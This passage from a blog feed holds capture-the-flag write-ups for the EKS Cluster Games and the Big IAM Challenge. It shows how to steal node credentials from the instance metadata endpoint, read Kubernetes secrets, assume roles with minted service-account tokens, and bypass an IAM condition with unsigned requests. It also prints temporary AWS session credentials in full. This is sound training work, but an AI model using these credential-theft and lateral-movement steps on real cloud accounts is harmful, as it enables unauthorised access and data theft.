<pre><code class="lang-bash"><span class="hljs-built_in">export</span> AWS_DEFAULT_REGION=&lt;region&gt;
<span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=&lt;AccessKeyId&gt;
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=&lt;SecretAccessKey&gt;
<span class="hljs-built_in">export</span> AWS_SESSION_TOKEN=&lt;Token&gt;
</code></pre>
<p>Then login to <code>ECR</code> registry using password that can be retrieve using <code>aws cli</code> .</p>
<p>Well, you can easily do that with this one-line</p>
<pre><code class="lang-bash">aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753783708620/eb20643c-946c-4d68-aeb5-a170aa86ac5a.png" alt class="image--center mx-auto" /></p>
<p>Then get the image digest layer to get flag using command below</p>
<pre><code class="lang-bash">crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq .
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753784025594/631c4d43-e89e-4461-8681-cec7a1d9eaef.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-4-pod-break">4. Pod Break</h2>
<p>Forth challenge</p>
<blockquote>
<p>You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?</p>
<p>Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions</p>
</blockquote>
<p>without any kubernetes permission :(</p>
<p>But we can still retrieve AWS credentials using <code>IMDS</code> then set using export just like in previous challenge</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Get credential using IMDS</span>
curl http://169.254.169.254/latest/meta-data/placement/region
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

<span class="hljs-comment"># Set credential using export</span>
<span class="hljs-built_in">export</span> AWS_DEFAULT_REGION=us-west-1
<span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=ASIA2AVYNEVMS7TN4SNY
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=4Kcs7G5L/JmbJdCr/e1+ee3qV0REcXWtUJBiLEVr
<span class="hljs-built_in">export</span> AWS_SESSION_TOKEN=FwoGZXIvYXdzEI7//////////wEaDOoKIiUxvoQ0UIHjqyK3AXpAMgQHXeU5+PYF2kWqz88dQeCt0kZyzSh/USYSS8mDlWf04eQvumTbwR5gsyYZ6dZ0qQEyGqBoSMdto7udPz7h6raQ3nQ0Mnkn1O3CkyzD1xrLSNqV6MHQ9ljLSwW5jDYlHAKlWvnG5tAu1wLxTDMpeFMD5fXePA3nu97hxQ4Bap/ljIag7JmGjpsXXwjWlRjotVc8zfZC+VIcnPDFdv2qDyuxS+5Ozw2wvN+MaO6f8MVrkq5TASiQh6PEBjIt9xsnEa8adysXLHJUJxePXNjaisKb9+za5CeTXndhlanXjim+X19LJA6KDbLl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753793483844/ce1405e2-4151-42fd-bd7b-79d064965c38.png" alt class="image--center mx-auto" /></p>
<p>We can using our aws credential to generate token for accessing kubernetes cluster. But, before that we need to know <code>cluster-name</code> to do that.</p>
<p>Well, <code>cluster-name</code> usually stored in kubectl config in <code>~/.kube/config</code> file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753793744008/092b7078-2bb9-4729-b3c2-2780a758bd2b.png" alt class="image--center mx-auto" /></p>
<p>Cluster name is <code>localcfg</code> , ok now we can generate our token using command below</p>
<pre><code class="lang-bash">aws eks get-token --cluster-name localcfg
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753793988990/e54154de-7fe4-488d-bb0b-b0f387c07491.png" alt class="image--center mx-auto" /></p>
<p>Then using that token as our authentication for <code>kubectl</code> to access the kubernetes cluster</p>
<pre><code class="lang-bash">kubectl --token <span class="hljs-variable">$TOKEN</span> auth can-i --list
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753794024447/d07a0fc5-8a7f-45b5-9894-0e4ee4d51cd8.png" alt class="image--center mx-auto" /></p>
<p>Well, well, well. The token doesn’t seems work :/</p>
<p>Ok, maybe the <code>cluster name</code> we use is wrong.</p>
<p>Let’s check our current aws credential, maybe there is a hint</p>
<pre><code class="lang-bash">aws sts get-caller-identity
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753794776817/ac262a68-d4fd-41cb-8a94-efa62ac3ca06.png" alt class="image--center mx-auto" /></p>
<p>Based on the IAM role name above we can guess the <code>cluster name</code> probably <code>eks-challenge-cluster</code>.</p>
<pre><code class="lang-bash">aws eks get-token --cluster-name eks-challenge-cluster
kubectl --token <span class="hljs-variable">$TOKEN</span> auth can-i --list
</code></pre>
<p>Alright, now token is working. Yeay</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753795079504/05c629ea-1d6d-403f-8d92-66d3b62737ec.png" alt class="image--center mx-auto" /></p>
<p>Well, we got permission <code>list</code> and <code>get</code> on resource <code>pods</code>, <code>secrets</code> and <code>serviceaccount</code>.</p>
<p>Let’s check <code>secrets</code> because usually flag are stored there.</p>
<pre><code class="lang-bash">kubectl --token <span class="hljs-variable">$TOKEN</span> get secret
kubectl --token <span class="hljs-variable">$TOKEN</span> get secret node-flag -oyaml
kubectl --token <span class="hljs-variable">$TOKEN</span> get secret node-flag -ojsonpath=<span class="hljs-string">'{.data.flag}'</span> | base64 -d
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753795527131/8ac78acb-0e80-4b2b-b5fb-b092c546e7fb.png" alt class="image--center mx-auto" /></p>
<p>Yap, the flag is there</p>
<h2 id="heading-5-container-secrets-infrastructure">5. Container Secrets Infrastructure</h2>
<p>The last challenge</p>
<blockquote>
<p>You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the <em>s3access-sa</em> service account, and get the flag?</p>
</blockquote>
<p>And we got the IAM Policy</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Policy"</span>: {
        <span class="hljs-attr">"Statement"</span>: [
            {
                <span class="hljs-attr">"Action"</span>: [
                    <span class="hljs-string">"s3:GetObject"</span>,
                    <span class="hljs-string">"s3:ListBucket"</span>
                ],
                <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
                <span class="hljs-attr">"Resource"</span>: [
                    <span class="hljs-string">"arn:aws:s3:::challenge-flag-bucket-3ff1ae2"</span>,
                    <span class="hljs-string">"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"</span>
                ]
            }
        ],
        <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>
    }
}
</code></pre>
<p>Trust policy</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: {
                <span class="hljs-attr">"Federated"</span>: <span class="hljs-string">"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"</span>
            },
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"sts:AssumeRoleWithWebIdentity"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringEquals"</span>: {
                    <span class="hljs-attr">"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud"</span>: <span class="hljs-string">"sts.amazonaws.com"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>Kubernetes permission</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"secrets"</span>: [
        <span class="hljs-string">"get"</span>,
        <span class="hljs-string">"list"</span>
    ],
    <span class="hljs-attr">"serviceaccounts"</span>: [
        <span class="hljs-string">"get"</span>,
        <span class="hljs-string">"list"</span>
    ],
    <span class="hljs-attr">"pods"</span>: [
        <span class="hljs-string">"get"</span>,
        <span class="hljs-string">"list"</span>
    ],
    <span class="hljs-attr">"serviceaccounts/token"</span>: [
        <span class="hljs-string">"create"</span>
    ]
}
</code></pre>
<p>Well, this last challenges give us a bunch of permissions!</p>
<p>Let’s start from listing kubernetes resources.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753896380128/8fe923a1-65b5-4190-a5d2-c6836741eff0.png" alt class="image--center mx-auto" /></p>
<p>There is no pod and secret, only serviceaccount then what’s the point of giving us those permissions? lol</p>
<p>Anyway, let’s see what kind of serviceaccount we have</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753896900774/a7017cd0-c20d-4ee4-b036-1273727719a3.png" alt class="image--center mx-auto" /></p>
<p>There is 3 serviceaccount</p>
<ol>
<li><p><code>default</code> → default serviceaccount in namespace, nothing to do with this</p>
</li>
<li><p><code>debug-sa</code> → dummy serviceaccount, attached with some aws role</p>
</li>
<li><p><code>s3access-sa</code> → seems serviceaccount that mentioned in challenges description. It has <code>challengeEksS3Role</code> too.</p>
</li>
</ol>
<p>Let’s try generate token from <code>s3access-sa</code> serviceaccount</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758036868249/c1a44623-4ebb-4dab-973a-8ca0a90f2229.png" alt class="image--center mx-auto" /></p>
<p>Oops, it’s forbidden. Seems like we don’t have permissions to do that. Instead, we can generate token from <code>debug-sa</code> serviceaccount only.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758036968705/788ac9fb-8cbe-4692-9f68-0d03f3633e4b.png" alt class="image--center mx-auto" /></p>
<p>Well, actually we can use that <code>debug-sa</code> since we has <code>trust policy</code> to assume role we just use same method like in previous <a target="_blank" href="https://blog.lychnobyte.my.id/the-big-iam-challenge-all-solution">big iam challenge</a>.</p>
<p>So, just need to generate token from <code>debug-sa</code> but since there is <code>condition</code> check to assume role we need to add option <code>--audience “sts.amazonaws.com”</code> when generate the token.</p>
<pre><code class="lang-json">kubectl create token debug-sa --audience <span class="hljs-string">"sts.amazonaws.com"</span>
aws sts assume-role-with-web-identity --role-session-name challenge5 --role-arn arn:aws:iam::<span class="hljs-number">688655246681</span>:role/challengeEksS3Role --web-identity-token $TOKEN
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758038779273/35aed346-004c-4b4b-82f8-e6bae4df5af0.png" alt class="image--center mx-auto" /></p>
<p>We set AWS credentials we’ve got, then access the <code>flag</code></p>
<pre><code class="lang-json">export AWS_DEFAULT_REGION=&lt;region&gt;
export AWS_ACCESS_KEY_ID=&lt;AccessKeyId&gt;
export AWS_SECRET_ACCESS_KEY=&lt;SecretAccessKey&gt;
export AWS_SESSION_TOKEN=&lt;Token&gt;

aws s3 cp s3:<span class="hljs-comment">//challenge-flag-bucket-3ff1ae2/flag -</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758039237117/cac2c3a6-b207-42e3-abd9-e9a71d68235b.png" alt class="image--center mx-auto" /></p>
<p>That’s it! We solve all challenges!</p>
<p>And as usual after solve all challenges we can got certificate like this</p>
<p><img src="https://eksclustergames.com/image/ZrXKqFFO" alt /></p>
<p>Reference:</p>
<ul>
<li><p><a target="_blank" href="https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/#pivoting-to-the-cloud-environment-by-stealing-pod-identities">https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/#pivoting-to-the-cloud-environment-by-stealing-pod-identities</a></p>
</li>
<li><p><a target="_blank" href="https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust">https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[The Big IAM Challenge All Solution]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/104049290

Hello all, let’s continue to solve another cloud security challenges!
This opportunity i’ll write solution for challenges in The Big IAM challenge platform. The challenges still u...]]></description><link>https://blog.lychnobyte.my.id/the-big-iam-challenge-all-solution</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/the-big-iam-challenge-all-solution</guid><category><![CDATA[Cloud]]></category><category><![CDATA[AWS]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Fri, 25 Jul 2025 20:10:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753462852139/62df486c-4951-4890-8b3d-554d17b63f5f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/104049290">https://www.pixiv.net/en/artworks/104049290</a></p>
</blockquote>
<p>Hello all, let’s continue to solve another cloud security challenges!</p>
<p>This opportunity i’ll write solution for challenges in <code>The Big IAM challenge</code> platform. The challenges still up and running can access at <a target="_blank" href="https://thebigiamchallenge.com/">https://thebigiamchallenge.com/</a>.</p>
<p>The platform only has 6 simple AWS challenges with <code>wargames</code> style which is we need to solve the challenge in sequence from 1 to 6.</p>
<p>Since all the challenges i could say pretty simple and straightforward so i decide to post all solution in one post only.</p>
<p>Let’s start to solve those challenges!</p>
<h2 id="heading-1-buckets-of-fun">1. Buckets of Fun</h2>
<p>First challenge description</p>
<blockquote>
<p>We all know that public buckets are risky. But can you find the flag?</p>
</blockquote>
<p>and we got aws IAM policy like this.</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:GetObject"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"</span>
        },
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:ListBucket"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-storage-9979f4b"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"s3:prefix"</span>: <span class="hljs-string">"files/*"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>So, basically we can <code>get</code> all object inside <code>thebigiamchallenge-storage-9979f4b</code> s3 bucket and <code>list</code> object inside <code>files</code> directory.</p>
<p>Access the s3 bucket using browser using s3 bucket url pattern <code>http://&lt;bucket-name&gt;.s3.amazonaws.com</code>. In our case the url <code>http://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753463953039/b16392ee-ceae-40a7-acba-5be4a57b8702.png" alt class="image--center mx-auto" /></p>
<p>As we can see there is object <code>files/flag1.txt</code>. Just open it using browser to get the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753464071866/58c775f7-0786-44c3-946f-83b197cb201d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-2-google-analytics">2. <s>Google</s> Analytics</h2>
<p>Continue to second challenge</p>
<blockquote>
<p>We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?</p>
<p>Join our queue and get the secret flag.</p>
</blockquote>
<p>and AWS IAM policy like this</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"sqs:SendMessage"</span>,
                <span class="hljs-string">"sqs:ReceiveMessage"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"</span>
        }
    ]
}
</code></pre>
<p>Well, the challenge description say it clearly that we just need to join the queue to get the flag!</p>
<p>To receive the message in the provided queue we can use this command</p>
<pre><code class="lang-bash">aws sqs receive-message --queue-url &lt;queue-url&gt;
</code></pre>
<p>Sqs queue url pattern in aws is <code>https:/&lt;queue-endpoint&gt;/&lt;account-id&gt;/&lt;resource-name&gt;</code>.</p>
<p>Queue endpoint for each region are listed in this documentation <a target="_blank" href="https://docs.aws.amazon.com/general/latest/gr/sqs-service.html">https://docs.aws.amazon.com/general/latest/gr/sqs-service.html</a>.</p>
<p><code>Account id</code> for this challenge is <code>092297851374</code> and <code>resource name</code> is <code>wiz-tbic-analytics-sqs-queue-ca7a1b2</code>.</p>
<p>So, sqs queue url for this challenge is <a target="_blank" href="https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2"><code>https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2</code></a>.</p>
<p>We just need to run this command in platform provided web shell</p>
<pre><code class="lang-bash">aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753465074043/25f3d8ba-3171-440e-aa29-c3b76bad4ac2.png" alt class="image--center mx-auto" /></p>
<p>Then just access the url from message body to get the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753465122744/3a8ec994-c6e7-47b6-a6cb-e6f3e5b0d5b7.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-3-enable-push-notifications">3. Enable Push Notifications</h2>
<p>Continue to third challenge</p>
<blockquote>
<p>We got a message for you. Can you get it?</p>
</blockquote>
<p>and AWS IAM policy like this</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2008-10-17"</span>,
    <span class="hljs-attr">"Id"</span>: <span class="hljs-string">"Statement1"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"Statement1"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: {
                <span class="hljs-attr">"AWS"</span>: <span class="hljs-string">"*"</span>
            },
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"SNS:Subscribe"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"sns:Endpoint"</span>: <span class="hljs-string">"*@tbic.wiz.io"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>Now we need to subscribe to <code>SNS</code> topic to receive the flag. But, there is some <code>filter</code> that the receiver url need to end with string <code>@tbic.wiz.io</code>.</p>
<p>My approach is to create webhook with endpoint <code>@tbic.wiz.io</code>. To have full control with the webhook, i use <code>ngrok</code> and create python webhook with flask.</p>
<p>Well, you can also use some webhook service out there in the internet.</p>
<p>Here the webhook script i use.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request, jsonify
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> json

app = Flask(__name__)

<span class="hljs-meta">@app.route('/webhook@tbic.wiz.io', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">webhook</span>():</span>
    msg_data = json.loads(request.data.decode())

    msg_type = msg_data[<span class="hljs-string">'Type'</span>]

    <span class="hljs-keyword">if</span> msg_type == <span class="hljs-string">'SubscriptionConfirmation'</span>:
        subscribe_url = msg_data[<span class="hljs-string">'SubscribeURL'</span>]
        print(<span class="hljs-string">f"[+] Confirming subscription: <span class="hljs-subst">{subscribe_url}</span>"</span>)
        <span class="hljs-keyword">try</span>:
            response = requests.get(subscribe_url)
            print(<span class="hljs-string">f"[+] Subscription confirmed: HTTP <span class="hljs-subst">{response.status_code}</span>"</span>)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">f"[!] Failed to confirm subscription: <span class="hljs-subst">{e}</span>"</span>)
            <span class="hljs-keyword">return</span> <span class="hljs-string">"Failed"</span>, <span class="hljs-number">500</span>

    <span class="hljs-keyword">elif</span> msg_type == <span class="hljs-string">'Notification'</span>:
        message = msg_data[<span class="hljs-string">'Message'</span>]
        print(<span class="hljs-string">f"[+] Notification received: <span class="hljs-subst">{message}</span>"</span>)

    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">f"[!] Unsupported message type: <span class="hljs-subst">{msg_type}</span>"</span>)

    <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">'status'</span>: <span class="hljs-string">'ok'</span>}), <span class="hljs-number">200</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    app.run(host=<span class="hljs-string">'0.0.0.0'</span>, port=<span class="hljs-number">5000</span>)
</code></pre>
<p>Then run the <code>ngrok</code> . (for the setup you can follow the steps official documentation)</p>
<pre><code class="lang-python">ngrok http http://localhost:<span class="hljs-number">5000</span>
python3 webhook.py
</code></pre>
<p>Then you have endpoint that can be use as <code>sns</code> endpoint.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753468762185/291d5330-f5fa-45f7-8dec-690ce6b7a9a2.png" alt class="image--center mx-auto" /></p>
<p>Now we just need to run this command in web shell to subscribe the <code>sns</code> topic and wait a while to webhook receive the flag.</p>
<pre><code class="lang-python">aws sns subscribe \
    --topic-arn <span class="hljs-string">"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"</span> \
    --protocol https --notification-endpoint https://<span class="hljs-number">45</span>c2275ab043.ngrok-free.app/webhook@tbic.wiz.io
</code></pre>
<p>That’s it we got the third flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753468968674/e3299625-f866-4472-b5e9-c9341828ddba.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-4-admin-only">4. Admin only?</h2>
<p>Next to forth challenge</p>
<blockquote>
<p>We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?</p>
</blockquote>
<p>and AWS IAM policy like this</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:GetObject"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"</span>
        },
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Principal"</span>: <span class="hljs-string">"*"</span>,
            <span class="hljs-attr">"Action"</span>: <span class="hljs-string">"s3:ListBucket"</span>,
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321"</span>,
            <span class="hljs-attr">"Condition"</span>: {
                <span class="hljs-attr">"StringLike"</span>: {
                    <span class="hljs-attr">"s3:prefix"</span>: <span class="hljs-string">"files/*"</span>
                },
                <span class="hljs-attr">"ForAllValues:StringLike"</span>: {
                    <span class="hljs-attr">"aws:PrincipalArn"</span>: <span class="hljs-string">"arn:aws:iam::133713371337:user/admin"</span>
                }
            }
        }
    ]
}
</code></pre>
<p>The IAM policy structure looks similar with the first challenge the different just additional <code>filter</code> to <code>list</code> bucket objects that make sure the request need to come from <code>user/admin</code>.</p>
<p>Seems like the <code>filter</code> is good but is <code>ForAllValues:StringLike</code> operator is bypass-able.</p>
<p>As written in aws documentation <a target="_blank" href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys">https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys</a></p>
<blockquote>
<p>The <code>ForAllValues</code> qualifier tests whether the value of every member of the request context matches the condition operator that follows the qualifier. The condition returns <code>true</code> if every context key value in the request matches a context key value in the policy. It also returns <code>true</code> if there are no context keys in the request.</p>
</blockquote>
<p>So, basically if our request not have context <code>PrincipalArn</code> or any <code>credentials</code> our request will be allowed to access s3 bucket objects.</p>
<p>To make request without any credentials loaded we use option <code>--no-sign-request</code></p>
<blockquote>
<p>--no-sign-request (boolean)</p>
<p>Do not sign requests. Credentials will not be loaded if this argument is provided.</p>
</blockquote>
<p>Then just run command below to <code>list</code> and <code>get</code> flag.</p>
<pre><code class="lang-bash">aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt - --no-sign-request
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753470357149/64545e11-e29b-4763-afef-51d3eee53ef2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-5-do-i-know-you">5. Do I know you?</h2>
<p>Fifth challenge</p>
<blockquote>
<p>We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.</p>
</blockquote>
<p>and AWS IAM policy like this</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: [
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"VisualEditor0"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"mobileanalytics:PutEvents"</span>,
                <span class="hljs-string">"cognito-sync:*"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"*"</span>
        },
        {
            <span class="hljs-attr">"Sid"</span>: <span class="hljs-string">"VisualEditor1"</span>,
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: [
                <span class="hljs-string">"s3:GetObject"</span>,
                <span class="hljs-string">"s3:ListBucket"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: [
                <span class="hljs-string">"arn:aws:s3:::wiz-privatefiles"</span>,
                <span class="hljs-string">"arn:aws:s3:::wiz-privatefiles/*"</span>
            ]
        }
    ]
}
</code></pre>
<p>As description said that the platform use AWS Cognito as identity provider, i assume this page also use AWS Cognito too. Also because in this challenge page load a picture that seems kinda suspicious.</p>
<p>So, let see the page source code (if using chrome use <code>ctrl + u</code>) we see this <code>javascript code</code></p>
<pre><code class="lang-javascript">&lt;script src=<span class="hljs-string">"https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"</span>&gt;&lt;/script&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  AWS.config.region = <span class="hljs-string">'us-east-1'</span>;
  AWS.config.credentials = <span class="hljs-keyword">new</span> AWS.CognitoIdentityCredentials({<span class="hljs-attr">IdentityPoolId</span>: <span class="hljs-string">"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"</span>});
  <span class="hljs-comment">// Set the region</span>
  AWS.config.update({<span class="hljs-attr">region</span>: <span class="hljs-string">'us-east-1'</span>});

  $(<span class="hljs-built_in">document</span>).ready(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">var</span> s3 = <span class="hljs-keyword">new</span> AWS.S3();
    params = {
      <span class="hljs-attr">Bucket</span>: <span class="hljs-string">'wiz-privatefiles'</span>,
      <span class="hljs-attr">Key</span>: <span class="hljs-string">'cognito1.png'</span>,
      <span class="hljs-attr">Expires</span>: <span class="hljs-number">60</span> * <span class="hljs-number">60</span>
    }

    signedUrl = s3.getSignedUrl(<span class="hljs-string">'getObject'</span>, params, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err, url</span>) </span>{
      $(<span class="hljs-string">'#signedImg'</span>).attr(<span class="hljs-string">'src'</span>, url);
    });
});
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>
</code></pre>
<p>Well, the page retrieve AWS credentials from Cognito pools then stored in <code>AWS.config.credentials</code> variable. Since it is <code>javascript</code> code, we can get that credentials from web console.</p>
<p>Then open the web console (if using chrome use <code>F12</code> the choose <code>console</code> tab)</p>
<p>To get the AWS credentials type this line in console</p>
<pre><code class="lang-javascript">AWS.config.credentials.accessKeyId
AWS.config.credentials.secretAccessKey
